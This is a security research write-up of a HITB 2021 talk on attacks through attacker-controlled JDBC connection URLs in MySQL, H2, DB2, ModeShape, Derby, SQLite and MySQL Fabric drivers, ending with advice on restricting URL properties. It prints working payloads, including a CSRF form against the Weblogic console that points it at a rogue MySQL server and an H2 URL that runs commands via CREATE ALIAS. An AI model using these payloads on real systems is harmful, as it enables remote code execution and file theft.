Make JDBC Attacks Brilliant Again I

0x01 Forewords

In HITB Singapore 2021, we made a presentation about JDBC attacks.Here is the detailed write-up about the talk.

0x02 JDBC Introduction

The JDBC API is a Java API that can access any kind of tabular data, especially data stored in a relational database.

JDBC helps you to write Java applications that manage these three programming activities:

  • Connect to a data source, like a database
  • Send queries and update statements to the database
  • Retrieve and process the results received from the database in answer to your query

Actually, JDBC is a set of standard interfaces and a particular relational database has its own implement, like JDBCMysqlImpl in MySQL JDBC driver. I draw the following picture to describe these implements.

upload successful

It is mainly in the java.sql package in JDK, JDBC drivers are client-side adapters , installed in the client endpoint, not in the server side. It can convert requests from Java programs to a protocol that the DBMS can understand.JDBC drivers provide JDBC specific implementations for different databases . For developers, JDBC helps shield the specifics of individual databases.

The following simple code fragment gives an example.

upload successful

The short code fragment instantiates a DriverManager object to connect to a database driver and log into the database. It occured to me that if the JDBC URL is under control, what will take place?

According to the above picture, the basic attack assumptive steps are as follow:

  • Sets a malicious JDBC URL and triggers the JDBC connection.

  • As the client side, it connects to the malicious server which specified by the attacker with JDBC driver.

  • Take advantage of the security flaws or some particular properties of the JDBC drivers to trigger these vulnerabilities.

Before my new research, I focus on some disclosed cases. So it starts with the in-depth analysis of the historical vulnerablities.

0x03 Review Historical Issues
MySQL Client Arbitrary File Reading Vulnerability

This vulnerability is caused by the existed MySQL feature for a long time. The feature is that the Load Data Local Infile statement can read client files and send them to the server. There is no doubt that this feature is very risky. The MySQL official document clearly states that clients should not connect to any untrusted server.

To tell the truth, is that it’s always hard to make sure. And since this is the specification of MySQL, it can affect most clients, including the MySQL JDBC driver. An attacker can forge a malicious MySQL server and after the client connecting, the client will send some initializing query packets such as sending query to SET NAMES with charset utf-8, then the malicious server can send a file transfer packet specifying to read any file from the client.

upload successful

MySQL JDBC Client Deserialization Vulnerability

Actually the MySQL JDBC deserialization vulnerability was firstly mentioned by Thijs Alkemade in 2017.

upload successful

This report named Unexpected automatic deserialisation of Java objects was assinged as CVE-2017-3523 eventually. Until 2019, a further research is disclosed by ZhangYang and his team mates. They made a presentation named <New Exploit Technique In Java Deserialization Attack> in Black Hat Europe. When MySQL JDBC directly deserializes certain types of data returned from the server, It can result in a remote code execution if the gadgets are appropriate.

upload successful

Using the statementInterceptors property provided by the JDBC driver, you can set an interceptor to perform additional operations before or after the certain kinds of statements. The full attacking chains are as follows

  • Firstly, set the statementInterceptor attribute to ServerStatusDiffInterceptor, auditing ServerStatusDiffInterceptor code, you can see that this interceptor allows the client to send specific queries to the server, In addition, the getObject method is used to process the returned column.

upload successful

  • Secondly, in the getObject method, the driver will directly call the readObject method for deserialization of binary and blob types. Therefore, the server side controlled by the attacker can trigger deserialization vulnerabilities as long as it returns falsified serialized data.

upload successful

Of course, the class and property names of interceptors are different in various version of JDBC driver as shown in the table.

upload successful

Weblogic RCE involving MySQL JDBC Deserialization

I look for some real world scenarios of MySQL JDBC connection configuration. I suddenly realize that data source can be specified by user in Weblogic server console and MySQL JDBC driver is built-in.Consequently I can customize the JDBC URL with some particular properties. And then I analyze the Weblogic server source code to make sure that. Unfortunately, it needs the authorization. I hope to make it much more harmful, then I figure out there is no CSRF token check of createJDBCDataSourceForm.

upload successful

Eventually, I construct the PoC like this

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<body>
<form name ="wls" target="frame" action="http://weblogic-server-ip:7001/console/console.portal?CreateGlobalJDBCDataSourcePortlet_actionOverride=/com/bea/console/actions/jdbc/datasources/createjdbcdatasource/testConnectionConfiguration" method="POST">
<input type="hidden" name="CreateGlobalJDBCDataSourcePortletdriverClassName" value="com.mysql.jdbc.Driver" />
<input type="hidden" name="CreateGlobalJDBCDataSourcePortleturl" value="jdbc:mysql://rogue-mysql-server-ip:3306/demo?user=root&password=password&characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true" />
</form>
<iframe name="frame" style="display:none"></iframe>
<script>document.wls.submit()</script>
</body>
</html>


When the administrator clicks the link of the above HTML page, the remote code will executed. I reported the bugs to Oracle. Then CVE number are assigned as CVE-2020-2869, CVE-2020-2934.

upload successful

SpringBoot H2 Console RCE with JDBC Driver

When SpringBoot H2 database console is enabled, we can access the endpoit /h2-console/ to administrate the H2 database with a web page.

However,the JDBC URL of H2 database is on supportive of the INIT parameter. It can be utilized to execute an initialization SQL sentence, meanwhile, an external SQL script can be imported by RUNSCRIPT FROM.

upload successful

Here is the illustration in SpringBoot H2 console

upload successful

First of all, we have to review the source code to figure out why we use the RUNSCRIPT FROM statement.

upload successful

During debugging the source code, we know that the INIT property is on supportive of executing any SQL statement, but you have to merge multiple SQL sentences into one. So we naturally choose RUNSCRIPT FROM key word to invoke a remote SQL script.

Refer to the illustration, there is a disadvantage that a HTTP request is required with RUNSCRIPT FROM key word. Usually establishing a HTTP protocol request to the external network is forbbiden.

After further testing, I find another way of using \ to translate ;. multiple sentences are merged into one, that meets all our requirements.

1
2
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\;return "test"\;}'\;CALL EXEC('open -a calculator')

upload successful

Of course, we can use other sentences. The CREATE ALIAS Function key words are combined with an additional CALL key word in multiple SQL sentences, but they are both necessary in the same time.

After more in-depth analyses of the source code. We find that the JAVA METHOD defined in CREATE ALIAS AS sentence is all handled by the method SourceCompiler. It supports three kinds of processing logic, Java, JavaScript and Groovy, all of which are compiled in order to finally execute the ALIAS function.

upload successful

The parseClass of Groovy catches my eye and it occurs to me that Orange Tsai made a presentation named <Hacking Jenkins Part 2> in 2019. Is is about abusing meta programming.

Here is the official introduction about the @asttest annotation.

upload successful

It is triggered by parseClass method.

upload successful

Finally we can execute malicious java code in assertions.

upload successful

However, in the real world, Groovy dependencies are not built into H2 database environment. So this attack depends on whether Groovy components are included into the application. Obviously it does not make sense.

So we continue to look for another way to attack, reviewing the source code, we quickly discover that in addition to the CREATE ALIAS AS sentence, there is another sentence can input a customized source code. In the parsing of the CREATE Trigger statement, finally, we can call loadFromSource method of the TriggerObject class. We are pleasantly surprised to find that in this method, the javascript source code is not only compiled but also executed. As the source code showing, it calls the eval() method directly. And since ScriptEngine is finally used for execution with no sandbox implement, we could input any java class fragment we wanted in javascript. So with this, we can easily achieve the purpose of RCE without the CALL or other sentences.

upload successful

As the PoC shows,JavaScript scripts start with JavaScript comments, and then we can then simply use java.lang.Runtime.getRuntime().exec() method to achieve RCE.

upload successful

JBoss /Wildfly Server Console RCE with JDBC Driver

Here is another sample we use H2 database JDBC driver to execute remote malicious code, you can refer to the SpringBoot H2 RCE sample.

upload successful

IBM DB2 RCE with JDBC Driver

After the above research, I realize some properties of JDBC driver could directly lead to vulnerablities.

I read the official documents of IBM DB2 JDBC driver to search the potential suspicious properties. I noticed a property called clientRerouteServerListJNDIName, the official description as follows

upload successful

As described in the document, if the first connection to the data source fails, this property will provide an alternative server location.The Lookup method of the context is finally called for performing a JNDI lookup according to the source code fragment.

upload successful

So it is easy to imagine that if a malicious JNDI location is provided and the client fails to the connect the first location, then it will look up the second malicious JNDI location. Obviously, it is a well-known JNDI injection vulnerability.

upload successful

When the client connects to the malicious LDAP server, it will load the malicious java class from the remote codebase.Here is the final PoC

upload successful

ModeShape RCE with JDBC Driver

ModeShape is a lightweight, fast, and pluggable JCR repository that federates and unifies content from multiple systems, including files systems, databases, configuration files, other repositories, services, applications, and data grids.

upload successful

The full name of JCR is Content Repository API for Java is a specification for a Java platform application programming interface API to access content repositories in a uniform manner. Using the JCR API, you can get data from a variety of different systems, including file systems, relational databases and so on.

upload successful

A standard JCR connection for ModeShape is in the format shown bellow, which requires repositoryName to make a connection to an existing repository. In this way, the JNDI string in the connection URL gets our attention, and we reasonably assume that in addition to supporting the JCR protocol, other protocols such as LDAP should also be supported.

upload successful

After futher testing, it turns out that we can indeed initiate a JNDI lookup request to a specified LDAP server, so this is another typical JNDI injection vulnerability.

upload successful

Apache Derby with JDBC Driver

Apache Derby is an open source relational database implemented entirely in java. It can be used as an embedded database just like H2 database. With embedded databases, it is usually easier to implement attacks because the server and client can exist in the same project.

We find a suspicious java code fragment when we look for sensitive calls in the Apache Derby driver code.There is a readMessage method in the SocketConnection class. The readObject method is invoked directly, which is always used to deserialize input stream in java. This code fragment obviously exists a deserialization vulnerability. In fact, from a security code point of view, this SocketConnection class is suspicious.

upload successful

You can see from its construct method, it wraps a socket and wraps socket Outputstream and Inputstream into object OutputStream and ObjectInputStream.

The readMessage method seems to read and parse the socket Inputstream. If we can communicate with the wrapped socket, then we will probably be able to trigger the deserialization vulnerability. So we go back to the invocation chains and see how to call the readMessage method.We find that the caller is the inner class MasterReceiverThread of ReplicationMessageTransmit class.

upload successful

As you can guess from the class names and package names. These code fragments are relate to Apache Derby feature to replicate databases. I go through the Apache Derby documentation section on replicating databases and know that database replication can be initiated with JDBC connection property, which is exactly what we need. Also the connection property is controllable.

In fact, if you go all the way up the call chain, you can see that whether this thread is started depends on whether the startMaster property is enabled. As the code showing, isStartReplicationMasterBoot method used for judgment. And in the code ,we can find that we can specify which host the socket connects to by controlling the slaveHost property. So we can set the startMaster property as true and the slaveHost property to the malicious server, then Apache Derby will try to connect to the malicious slave server and communicate with each other. At this point, the responsed malicious serialization data stream will be automatically deserialized, thus achieving the RCE purpose.

upload successful

The malicious connection PoC in the following code

upload successful

And the evil slave sever code is as follows

upload successful

Obviously the evil slave sever can return the serialized data directly after the connection receiving.

SQLite RCE with JDBC Driver

SQLite is also a lightweight embedded database. How to exploit it?

upload successful

we look up the code for its connection and find that when the JDBC URL is controllable, then we can customize its resourceName in the open method as follows

upload successful

Stepping into the extractResource method, we can see that the URL constructed by resourceName calls openStream method , so this can be used to achieve the SSRF attack as follow,

1
jdbc:sqlite::resource:http://127.0.0.1:8888/poc1.db

Send an HTTP request to specific ip address with JDBC connection. However, SSRF attack is not stratified our purpose.

upload successful

Using the resource subprotocol of SQLite, you can connect to the specified IP to download the specific database files, that is, if the JDBC URL is under our control, we can control the database files which the client side opens.With these clues, how should we attack?

upload successful

Referring to <SELECT code_execution FROM * USING SQLite> which descripts how to gain code execution using a malicious SQLite database. We can consider a scenario that there is a controllable JDBC URL and an uncontrollable SELECT statement.

A brief code is shown in the figure. The URL is controllable, but the SQL statement executed are not controllable.

upload successful

In the controllable database file, there is a Data Definition Languae (DDL) statements used to CREATE TABLE or VIEW. The DDL statements actually appear as a plain text. If we inspect that the uncontrollable statement is SELECT * from TABLE, we can CREATE VIEW names pyn3rd to hijack the SELECT statement to execute a subquery customized in the CREATE VIEW DDL file. In this way, we can transform the SQL statement that we cannot control into the query statement that we can control.

upload successful

The next step, if we have a controllable JDBC URL connection, we can enable the load_extension option in SQLite. So if we have a controlled file, we can archive RCE purpose by loading this extension. In fact, the extension is a Dynamic Link Library or Shared Object. In SELECT statement, load_extension function can load a .ddl or .so file and execute sqlite3_extension_init function in it. So input the malicious code in sqlite3_extension_init function can trigger the remote code excution.

upload successful

Actually getting a manageable file is not always easy. Since Sqlite often bursts memory corruptions vulnerabilities, we can use these memory corruptions to attack. As shown in the code bellow, we can use Magellan PoC to create a local SQLite database with a malicious security VIEW.

upload successful

The Magellan is a number of vulnerabilities that exist in SQLite caused by memory corruptions.Specify a JDBC connection to download our database file and open it. When the code executes to query for security table, it will trigger a JVM crash.

upload successful

However, RCE is the final objective. Here is the PoC

upload successful

Open Source Project JDBC Attack Defense Policy

According to the previous attack methods, we can find that vulnerabilities usually appear in some special JDBC properties. So some open source projects take the method of filtering sensitive properties to fix such vulnerabilities. Apache Druid as well as Apache DolphinScheduler have been exposed to MySQL JDBC deserialization vulnerabilities in the past, so we focus on the two open source softwares . The CVE numbers for the two vulnerabilities are CVE-2021-26919 and CVE-2020-11974.

Apache Druid defines a whitelist of properties. Only the properties in the whitelist are permitted.

upload successful

Otherwise, Apache DolphinScheduler removes sensitive properties from parameters.

upload successful

  • Is there a new exploitable way to bypass property filter?

We choose Apache Druid, which uses the MySQL-connector-5.1.48 as our target. For this fix, the first idea is to see if the filter parameters method is consistent with the JDBC connection processing parameters method.

upload successful

You can see in the Apache Druid source code that the filter use the MySQL connector default parse URL method.By default they are consistent.

upload successful

Therefore, we jump out of this idea and take a look at the overall JDBC Driver loading logic.

For the loading of JDBC Driver, they use SPI technology.full name is Java Service Provider Interface. For JDBC, all registered drivers are stored in the java.sql.Driver.In 5.1.48 versions of MySQL connector ,there are two registerd drivers, one is the common JDBC driver, the other is FabricMySQLDriver.

upload successful

This FabricMySQLDriver has caught our attention. Refer to the MySQL driver documentation, you can see that FabricMySQLDriver is used to connect to the MySQL Fabric System. MySQL Fabric is a system for managing a farm of MySQL servers.

upload successful

We start researching in the source code of FabricMySQLDriver.If you pass in a URL that starts with the format as the code showing, it goes into the Fabric Driver processing logic.

upload successful

You can see that in the code the connection URL is concated by the FabricProtocol, Host and Port parameters. Trace the FabricProtocol parameter,We can find that it is default to HTTP protocol . Enter the FabricConnection method, In this case, you can see that it uses the XMLRPC Client.

upload successful

Continuing to step into it, we find that it finally makes an XMLRPC call in the errorSafeCall Method and we can specify host and port of this call.

upload successful

So it looks like we’ve got an SSRF vulnerability, but it’s not enough. Similar to the MySQL deserialization vulnerability, we go on seeing if the Fabric MySQL driver had made any errors during processing the revieved data.

upload successful

It is clearly visible in the code that it use the newSAXParser method of the SAXParserFactory directly to get a SAXParser, where the SAXParserFactory does not set any security attributes, is an obvious XXE vulnerability, which finally can cause an arbitity file reading or SSRF attack.

upload successful

So the idea of attack is very clear. We construct a specific JDBC URL to enter the processing logic of Farbic Driver, set the Host and Port in the JDBC URL to our malicious HTTP server and when the client establishes a connection, it will send an XMLRPC request to the server. We control the HTTP server to return a malicious XML document ,and then XXE vulnerability will be triggered when the client processes this XML Documnet. We can read the corresponding files from the client by using the out-of-band XML External Entity attack.

The connection code of the client is shown in the figure. We can trigger the XXE vulnerability without any parameters.

upload successful

The malicious HTTP service code is shown as follows.To constrocut the mailicious XML Documnet is easy.

upload successful

Conclusion

We have researched on JDBC attacks of the diverse main stream databases for a couple of weeks.Making the JDBC URLs customized will carry a big risk.It is recommended that if you have to make JDBC URLs customized, you should strictly restrict the JDBC URLs either properties or protocols.